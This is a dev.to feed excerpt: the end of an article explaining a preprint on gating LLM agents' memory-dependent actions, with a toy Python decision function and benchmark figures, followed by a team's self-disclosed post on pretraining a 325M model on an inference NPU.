&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fquickchart.io%2Fchart%3Fw%3D800%26h%3D420%26bkg%3Dwhite%26c%3D%257B%2522type%2522%253A%2522bar%2522%252C%2522data%2522%253A%257B%2522labels%2522%253A%255B%2522Qwen3.5-35B-A3B%2522%252C%2522Qwen3.5-27B%2522%252C%2522DeepSeek-V4.1-Flash%2522%255D%252C%2522datasets%2522%253A%255B%257B%2522label%2522%253A%2522Static%2520verifier%2520choice%2522%252C%2522data%2522%253A%255B1.843%252C1.761%252C1.916%255D%252C%2522backgroundColor%2522%253A%2522%2523a0aec0%2522%257D%252C%257B%2522label%2522%253A%2522Adaptive%2520%2528re-pick%2520after%2520each%2520answer%2529%2522%252C%2522data%2522%253A%255B1.219%252C1.016%252C0.787%255D%252C%2522backgroundColor%2522%253A%2522%25232f855a%2522%257D%255D%257D%252C%2522options%2522%253A%257B%2522title%2522%253A%257B%2522display%2522%253Atrue%252C%2522text%2522%253A%2522Mean%2520verification%2520cost%2520by%2520backbone%2520%2528paper%2520Table%25205%253B%2520harmful%2520gate%2520rate%25200.00%2525%2520in%2520all%2529%2522%257D%252C%2522scales%2522%253A%257B%2522xAxes%2522%253A%255B%257B%2522scaleLabel%2522%253A%257B%2522display%2522%253Atrue%252C%2522labelString%2522%253A%2522backbone%2522%257D%257D%255D%252C%2522yAxes%2522%253A%255B%257B%2522scaleLabel%2522%253A%257B%2522display%2522%253Atrue%252C%2522labelString%2522%253A%2522mean%2520verification%2520cost%2520%2528lower%2520is%2520better%2529%2522%257D%252C%2522ticks%2522%253A%257B%2522beginAtZero%2522%253Atrue%257D%257D%255D%257D%257D%257D" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fquickchart.io%2Fchart%3Fw%3D800%26h%3D420%26bkg%3Dwhite%26c%3D%257B%2522type%2522%253A%2522bar%2522%252C%2522data%2522%253A%257B%2522labels%2522%253A%255B%2522Qwen3.5-35B-A3B%2522%252C%2522Qwen3.5-27B%2522%252C%2522DeepSeek-V4.1-Flash%2522%255D%252C%2522datasets%2522%253A%255B%257B%2522label%2522%253A%2522Static%2520verifier%2520choice%2522%252C%2522data%2522%253A%255B1.843%252C1.761%252C1.916%255D%252C%2522backgroundColor%2522%253A%2522%2523a0aec0%2522%257D%252C%257B%2522label%2522%253A%2522Adaptive%2520%2528re-pick%2520after%2520each%2520answer%2529%2522%252C%2522data%2522%253A%255B1.219%252C1.016%252C0.787%255D%252C%2522backgroundColor%2522%253A%2522%25232f855a%2522%257D%255D%257D%252C%2522options%2522%253A%257B%2522title%2522%253A%257B%2522display%2522%253Atrue%252C%2522text%2522%253A%2522Mean%2520verification%2520cost%2520by%2520backbone%2520%2528paper%2520Table%25205%253B%2520harmful%2520gate%2520rate%25200.00%2525%2520in%2520all%2529%2522%257D%252C%2522scales%2522%253A%257B%2522xAxes%2522%253A%255B%257B%2522scaleLabel%2522%253A%257B%2522display%2522%253Atrue%252C%2522labelString%2522%253A%2522backbone%2522%257D%257D%255D%252C%2522yAxes%2522%253A%255B%257B%2522scaleLabel%2522%253A%257B%2522display%2522%253Atrue%252C%2522labelString%2522%253A%2522mean%2520verification%2520cost%2520%2528lower%2520is%2520better%2529%2522%257D%252C%2522ticks%2522%253A%257B%2522beginAtZero%2522%253Atrue%257D%257D%255D%257D%257D%257D" alt="Mean verification cost, static versus adaptive, by backbone" width="1600" height="840"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;The gains are uneven: 33.9% on Qwen3.5-35B-A3B, 42.3% on Qwen3.5-27B, and 58.9% on DeepSeek-V4.1-Flash. Proceed coverage moved +5.33 points, 0 points, and -5.68 points respectively, so on one backbone the cheaper gate also approved fewer actions.&lt;/p&gt;

&lt;h2&gt;
  
  
  Can I try the decision logic myself?
&lt;/h2&gt;

&lt;p&gt;Yes. The following is my own toy implementation of the three-regime idea, not the paper's code. It assumes you can put numbers on four things: the prior chance the premise is false, the harm if you act on a false premise, what a check costs, and how reliable that check is.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;decide&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;p&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;loss&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;kappa&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mf"&gt;1.0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;c&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mf"&gt;0.1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;r&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mf"&gt;0.9&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
    &lt;span class="sh"&gt;"""&lt;/span&gt;&lt;span class="s"&gt;p: prior P(premise false). loss: harm if we proceed and the premise is false.
    kappa: cost of abstaining. c: verifier cost. r: verifier reliability.&lt;/span&gt;&lt;span class="sh"&gt;"""&lt;/span&gt;
    &lt;span class="n"&gt;proceed&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;p&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="n"&gt;loss&lt;/span&gt;
    &lt;span class="n"&gt;p_ok&lt;/span&gt;  &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt; &lt;span class="n"&gt;p&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="n"&gt;r&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="n"&gt;p&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt; &lt;span class="n"&gt;r&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;          &lt;span class="c1"&gt;# P(verifier says "premise holds")
&lt;/span&gt;    &lt;span class="n"&gt;p_bad&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt; &lt;span class="n"&gt;p_ok&lt;/span&gt;
    &lt;span class="n"&gt;post_ok&lt;/span&gt;  &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;p&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt; &lt;span class="n"&gt;r&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;/&lt;/span&gt; &lt;span class="n"&gt;p_ok&lt;/span&gt;               &lt;span class="c1"&gt;# P(false | says holds)
&lt;/span&gt;    &lt;span class="n"&gt;post_bad&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;p&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="n"&gt;r&lt;/span&gt; &lt;span class="o"&gt;/&lt;/span&gt; &lt;span class="n"&gt;p_bad&lt;/span&gt;                    &lt;span class="c1"&gt;# P(false | says broken)
&lt;/span&gt;    &lt;span class="n"&gt;verify&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;c&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="n"&gt;p_ok&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="nf"&gt;min&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;post_ok&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="n"&gt;loss&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;kappa&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="n"&gt;p_bad&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="nf"&gt;min&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;post_bad&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="n"&gt;loss&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;kappa&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="n"&gt;costs&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;proceed&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;proceed&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;verify&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;verify&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;abstain&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;kappa&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nf"&gt;min&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;costs&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;key&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;costs&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;get&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt; &lt;span class="n"&gt;costs&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The &lt;code&gt;verify&lt;/code&gt; branch is the whole idea: pay &lt;code&gt;c&lt;/code&gt;, then take the better of "proceed" or "abstain" given what the check said, weighted by how likely each answer is. I ran it with a 20% chance that the premise is stale, abstention cost 1.0, check cost 0.1, and two verifiers.&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Action (illustrative loss)&lt;/th&gt;
&lt;th&gt;Verifier r = 0.9&lt;/th&gt;
&lt;th&gt;Verifier r = 0.6&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Read a calendar entry (0.5)&lt;/td&gt;
&lt;td&gt;proceed&lt;/td&gt;
&lt;td&gt;proceed&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Draft an email (1.5)&lt;/td&gt;
&lt;td&gt;proceed&lt;/td&gt;
&lt;td&gt;proceed&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Send an email to a client (6)&lt;/td&gt;
&lt;td&gt;verify&lt;/td&gt;
&lt;td&gt;abstain&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Wire a payment (15)&lt;/td&gt;
&lt;td&gt;verify&lt;/td&gt;
&lt;td&gt;abstain&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Delete a production table (60)&lt;/td&gt;
&lt;td&gt;abstain&lt;/td&gt;
&lt;td&gt;abstain&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;&lt;em&gt;Illustrative numbers from my own script. The loss values are invented to show the shape of the decision, not measured.&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fquickchart.io%2Fchart%3Fw%3D800%26h%3D420%26bkg%3Dwhite%26c%3D%257B%2522type%2522%253A%2522line%2522%252C%2522data%2522%253A%257B%2522labels%2522%253A%255B%25220%2522%252C%25221%2522%252C%25222%2522%252C%25223%2522%252C%25224%2522%252C%25225%2522%252C%25226%2522%252C%25227%2522%252C%25228%2522%252C%25229%2522%252C%252210%2522%255D%252C%2522datasets%2522%253A%255B%257B%2522label%2522%253A%2522Proceed%2522%252C%2522data%2522%253A%255B0.0%252C0.2%252C0.4%252C0.6%252C0.8%252C1.0%252C1.2%252C1.4%252C1.6%252C1.8%252C2.0%255D%252C%2522borderColor%2522%253A%2522%2523c53030%2522%252C%2522fill%2522%253Afalse%257D%252C%257B%2522label%2522%253A%2522Verify%2520first%2522%252C%2522data%2522%253A%255B0.1%252C0.3%252C0.4%252C0.42%252C0.44%252C0.46%252C0.48%252C0.5%252C0.52%252C0.54%252C0.56%255D%252C%2522borderColor%2522%253A%2522%25232b6cb0%2522%252C%2522fill%2522%253Afalse%257D%252C%257B%2522label%2522%253A%2522Abstain%2522%252C%2522data%2522%253A%255B1.0%252C1.0%252C1.0%252C1.0%252C1.0%252C1.0%252C1.0%252C1.0%252C1.0%252C1.0%252C1.0%255D%252C%2522borderColor%2522%253A%2522%2523718096%2522%252C%2522fill%2522%253Afalse%257D%255D%257D%252C%2522options%2522%253A%257B%2522title%2522%253A%257B%2522display%2522%253Atrue%252C%2522text%2522%253A%2522Illustrative%2520toy%2520model%253A%2520expected%2520cost%2520by%2520action%2520%2528premise%252020%2525%2520likely%2520stale%252C%2520verifier%252090%2525%2520reliable%2529%2522%257D%252C%2522scales%2522%253A%257B%2522xAxes%2522%253A%255B%257B%2522scaleLabel%2522%253A%257B%2522display%2522%253Atrue%252C%2522labelString%2522%253A%2522harm%2520if%2520the%2520stale%2520premise%2520is%2520acted%2520on%2520%2528loss%2520units%2529%2522%257D%257D%255D%252C%2522yAxes%2522%253A%255B%257B%2522scaleLabel%2522%253A%257B%2522display%2522%253Atrue%252C%2522labelString%2522%253A%2522expected%2520cost%2522%257D%252C%2522ticks%2522%253A%257B%2522beginAtZero%2522%253Atrue%257D%257D%255D%257D%257D%257D" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fquickchart.io%2Fchart%3Fw%3D800%26h%3D420%26bkg%3Dwhite%26c%3D%257B%2522type%2522%253A%2522line%2522%252C%2522data%2522%253A%257B%2522labels%2522%253A%255B%25220%2522%252C%25221%2522%252C%25222%2522%252C%25223%2522%252C%25224%2522%252C%25225%2522%252C%25226%2522%252C%25227%2522%252C%25228%2522%252C%25229%2522%252C%252210%2522%255D%252C%2522datasets%2522%253A%255B%257B%2522label%2522%253A%2522Proceed%2522%252C%2522data%2522%253A%255B0.0%252C0.2%252C0.4%252C0.6%252C0.8%252C1.0%252C1.2%252C1.4%252C1.6%252C1.8%252C2.0%255D%252C%2522borderColor%2522%253A%2522%2523c53030%2522%252C%2522fill%2522%253Afalse%257D%252C%257B%2522label%2522%253A%2522Verify%2520first%2522%252C%2522data%2522%253A%255B0.1%252C0.3%252C0.4%252C0.42%252C0.44%252C0.46%252C0.48%252C0.5%252C0.52%252C0.54%252C0.56%255D%252C%2522borderColor%2522%253A%2522%25232b6cb0%2522%252C%2522fill%2522%253Afalse%257D%252C%257B%2522label%2522%253A%2522Abstain%2522%252C%2522data%2522%253A%255B1.0%252C1.0%252C1.0%252C1.0%252C1.0%252C1.0%252C1.0%252C1.0%252C1.0%252C1.0%252C1.0%255D%252C%2522borderColor%2522%253A%2522%2523718096%2522%252C%2522fill%2522%253Afalse%257D%255D%257D%252C%2522options%2522%253A%257B%2522title%2522%253A%257B%2522display%2522%253Atrue%252C%2522text%2522%253A%2522Illustrative%2520toy%2520model%253A%2520expected%2520cost%2520by%2520action%2520%2528premise%252020%2525%2520likely%2520stale%252C%2520verifier%252090%2525%2520reliable%2529%2522%257D%252C%2522scales%2522%253A%257B%2522xAxes%2522%253A%255B%257B%2522scaleLabel%2522%253A%257B%2522display%2522%253Atrue%252C%2522labelString%2522%253A%2522harm%2520if%2520the%2520stale%2520premise%2520is%2520acted%2520on%2520%2528loss%2520units%2529%2522%257D%257D%255D%252C%2522yAxes%2522%253A%255B%257B%2522scaleLabel%2522%253A%257B%2522display%2522%253Atrue%252C%2522labelString%2522%253A%2522expected%2520cost%2522%257D%252C%2522ticks%2522%253A%257B%2522beginAtZero%2522%253Atrue%257D%257D%255D%257D%257D%257D" alt="Toy model: expected cost of proceed, verify, abstain against the loss from a stale premise" width="1600" height="840"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Three observations from running it:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Same memory risk, different decisions.&lt;/strong&gt; The 20% staleness estimate is identical in every row. Only the action's consequence changes, and the decision moves from proceed to verify to abstain. A memory-only trust score cannot express this.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;The switch points move with verifier quality.&lt;/strong&gt; With r = 0.9 the proceed-to-verify boundary sits at a loss of 2.0, and verify stays best until a loss of about 32. With r = 0.6 the boundaries are at 4.51 and 5.76, so a poor verifier leaves a very narrow band in which checking is worth it. A check you cannot trust is not a safety control, it is latency.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;A rare risk can still justify a check when the action is big.&lt;/strong&gt; At a loss of 6, a 5% staleness prior already tips the choice from proceed to verify in this model (0.30 against 0.27), while at 1% it stays proceed.&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  What does the paper not show?
&lt;/h2&gt;

&lt;p&gt;This is a preprint evaluated on simulated and replayed environments, and the authors list several limits that matter for anyone planning to adopt the idea.&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;AppWorld transfer is mixed.&lt;/strong&gt; Across 100 state-mutating tasks (200 episodes), AMV-Guard cut verification cost by 21.28% against its static variant (2.090 against 2.655), but task success was 28.00% against 30.50% and safe-proceed recall was 70.53% against 72.63%. The gate-harmful rate was 7.89%, not zero, and the bootstrap intervals are broad. "Always proceed" scored 35.50% task success there, so on this benchmark the guard trades completed tasks for lower harm.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Extraction caps the guard.&lt;/strong&gt; Premise extraction is partly model-driven, and the counterfactual filter cannot recover a premise that was never proposed. Critical recall on out-of-distribution slices was 95.91% for unseen tool families, 92.45% for unseen domain schemas, and 94.97% for unstructured language, with gate-harmful rates of 8.23%, 15.19%, and 10.13%. Dependency accuracy on unstructured language fell to 61.92%.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;The loss function is an input.&lt;/strong&gt; It needs an executable consequence signal or an explicit policy. Where neither exists, someone has to supply the asymmetry by hand, and the authors say sensitivity analysis characterizes that dependence without removing it.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Harm is only what the simulator models.&lt;/strong&gt; Reputational damage, downstream human cost, and delayed effects are out of scope, so reported rates are harm on the modeled consequences.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;None of this invalidates the idea. It does mean "0.00% gate-harmful" is a statement about one benchmark's perturbations, not a deployment guarantee.&lt;/p&gt;

&lt;h2&gt;
  
  
  What should I change in my own agent this week?
&lt;/h2&gt;

&lt;p&gt;You do not need AMV-Guard to apply the principle.&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;Tag actions by consequence tier before anything else.&lt;/strong&gt; Three tiers is enough: reversible, recoverable with effort, irreversible. Attach the tier to the tool definition, not to the prompt.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Extract premises per action.&lt;/strong&gt; For each tool call, list the two or three facts it silently depends on (target ID, environment, recipient, version). If a fact came from memory rather than from this session, mark it.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Make the check depend on the tier.&lt;/strong&gt; Reversible actions proceed. Recoverable ones verify the memory-sourced premises against a system of record. Irreversible ones verify and also require a verifier you trust (a database read, not another model's opinion), otherwise abstain and ask.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Measure your verifiers.&lt;/strong&gt; The toy model shows that verifier reliability decides whether checking is worth doing at all. Log how often a check changes the decision. A check that never flips anything is dead weight, and one that always flips things is a sign your premises are mislabeled.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Track gate-local and end-to-end harm separately.&lt;/strong&gt; The paper's own numbers (0.00% against 7.03% on ToolSandbox) show they move independently.&lt;/li&gt;
&lt;/ol&gt;

&lt;h2&gt;
  
  
  FAQ
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;What is action-conditioned memory verification?&lt;/strong&gt;&lt;br&gt;
It is the practice of deciding which remembered facts to re-check based on the specific action being considered, rather than on the memory's overall reliability. The check is chosen by its ability to change the decision to proceed, verify, or abstain.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Is AMV-Guard open source or production-ready?&lt;/strong&gt;&lt;br&gt;
I have not verified a public release, and the paper itself is a preprint evaluated on ToolSandbox and AppWorld, not on live deployments. Treat it as a design pattern and a set of baselines, not a drop-in library.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Does a 0.00% gate-harmful rate mean the agent is safe?&lt;/strong&gt;&lt;br&gt;
No. It means that on ToolSandbox's perturbation families, no action the gate approved was harmful. End-to-end harm was still 7.03% because of planning and intent errors upstream, and on AppWorld the gate-harmful rate was 7.89%.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;How do I estimate the probability that a memory is stale?&lt;/strong&gt;&lt;br&gt;
Start with features you already log: age, source, whether it was written by the user or inferred by the model, and whether another source contradicts it. Fit a calibration model on labeled outcomes. The paper's calibration step cut expected calibration error from 0.319 to 0.082, which suggests raw confidence should not be used directly.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;What if I cannot quantify the loss from a wrong action?&lt;/strong&gt;&lt;br&gt;
Use tiers instead of numbers, and be conservative: unknown consequence is treated as high. The paper notes that the loss asymmetry has to come from an executable signal or an explicit policy, and that it is the input most likely to be wrong.&lt;/p&gt;

&lt;h2&gt;
  
  
  Further reading
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;&lt;a href="https://dev.to/gin%69genai_hp_0ae441ead91f/should-your-ai-agent-act-an-engineers-guide-to-action-gates-confidence-and-the-latency-budget-2pbj"&gt;Should Your AI Agent Act? An Engineer's Guide to Action Gates, Confidence, and the Latency Budget&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://dev.to/gin%69genai_hp_0ae441ead91f/your-agents-gate-threshold-is-a-winners-curse-tuning-per-action-thresholds-without-fooling-41no"&gt;Your Agent's Gate Threshold Is a Winner's Curse: Tuning Per-Action Thresholds Without Fooling Yourself&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  Sources
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;Wang, Wang, Zhang, Wu, Duan, Cai, Zheng, &lt;a href="https://arxiv.org/abs/2610.31446" rel="noopener noreferrer"&gt;"When Is a Memory Safe Enough to Act On? Action-Conditioned Verification for Long-Lived Agents"&lt;/a&gt;, arXiv:2610.31446, submitted October 22, 2026. All paper figures above (tables, percentages, calibration metrics, limitations) are the authors' reported numbers.&lt;/li&gt;
&lt;li&gt;Decision-logic table, thresholds, and chart 3: my own script, illustrative values, not from the paper.&lt;/li&gt;
&lt;/ul&gt;

</description>
      <category>ai</category>
      <category>python</category>
      <category>agents</category>
      <category>security</category>
    </item>
    <item>
      <title>Training Where the Data Lives: Why On-Prem Training on Inference NPUs Matters for AI Governance</title>
      <dc:creator>hugginf_expert</dc:creator>
      <pubDate>Mon, 26 Oct 2026 06:12:25 +0000</pubDate>
      <link>https://dev.to/ginigenai_hp_0ae441ead91f/training-where-the-data-lives-why-on-prem-training-on-inference-npus-matters-for-ai-governance-3416</link>
      <guid>https://dev.to/ginigenai_hp_0ae441ead91f/training-where-the-data-lives-why-on-prem-training-on-inference-npus-matters-for-ai-governance-3416</guid>
      <description>&lt;p&gt;&lt;em&gt;Disclosure: this account is run by members of the VIDRAFT team, and the work discussed below is VIDRAFT's own result. It is not an independent review.&lt;/em&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  TL;DR
&lt;/h2&gt;

&lt;p&gt;Adapting a model usually means sending data to rented GPUs. VIDRAFT pretrained a 325M model from scratch on a Rebellions ATOM-Max inference NPU (2025) and matched a B200 twin on unseen text (0.7993 vs 0.7994). From a governance standpoint two things matter: training can stay on hardware an organization already controls, and the claim was published in a form others can verify.&lt;/p&gt;

&lt;h2&gt;
  
  
  Why does training location matter for safety and governance?
&lt;/h2&gt;

&lt;p&gt;Every copy of sensitive data sent to an external training cluster widens the attack surface and complicates audits. If the accelerators already deployed for inference inside a network can also train or fine-tune, the data never has to leave.&lt;/p&gt;

&lt;h2&gt;
  
  
  What was shown?
&lt;/h2&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fhuggingface.co%2FFINAL-Bench%2FVKORE-325M-NPU-Base%2Fresolve%2Fmain%2Farticle%2Ffig6_twin_design.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fhuggingface.co%2FFINAL-Bench%2FVKORE-325M-NPU-Base%2Fresolve%2Fmain%2Farticle%2Ffig6_twin_design.png" alt="Twin design" width="800" height="385"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fhuggingface.co%2FFINAL-Bench%2FVKORE-325M-NPU-Base%2Fresolve%2Fmain%2Farticle%2Ffig3_evaluation.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fhuggingface.co%2FFINAL-Bench%2FVKORE-325M-NPU-Base%2Fresolve%2Fmain%2Farticle%2Ffig3_evaluation.png" alt="Evaluation" width="800" height="334"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Same model, same data, same schedule on an NPU and a B200 GPU. On text neither saw, the two models are indistinguishable (paired difference -0.0001, standard error 0.0007).&lt;/p&gt;

&lt;h2&gt;
  
  
  Why is verifiability part of safety?
&lt;/h2&gt;

&lt;p&gt;Claims about models should be checkable. Both checkpoints and evaluate_unseen.py are public in &lt;a href="https://huggingface.co/FINAL-Bench/VKORE-325M-NPU-Base" rel="noopener noreferrer"&gt;the model repo&lt;/a&gt;, and the authors corrected an evaluation label after finding that their first "held out" windows overlapped training. That kind of correction is what accountable reporting looks like.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fy50kh9fr17pvf4zzc3vx.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fy50kh9fr17pvf4zzc3vx.png" alt="Paired differences" width="800" height="349"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  Limits
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;The NPU alone does not enable training; it depends on VIDRAFT's own training stack and a stability technique under patent application.&lt;/li&gt;
&lt;li&gt;325M on 5B tokens is research scale, with one run per hardware.&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  FAQ
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;Which NPU?&lt;/strong&gt; Rebellions ATOM-Max, released in 2025.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Does this remove the need for GPUs?&lt;/strong&gt; No. It shows inference hardware can carry real training when the software exists.&lt;/p&gt;

&lt;h2&gt;
  
  
  Sources
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;Technical report: &lt;a href="https://huggingface.co/blog/FINAL-Bench/pretraining-a-325m-language-model-from-zero-on-an" rel="noopener noreferrer"&gt;https://huggingface.co/blog/FINAL-Bench/pretraining-a-325m-language-model-from-zero-on-an&lt;/a&gt;
&lt;/li&gt;
&lt;/ul&gt;

</description>
      <category>ai</category>
      <category>machinelearning</category>
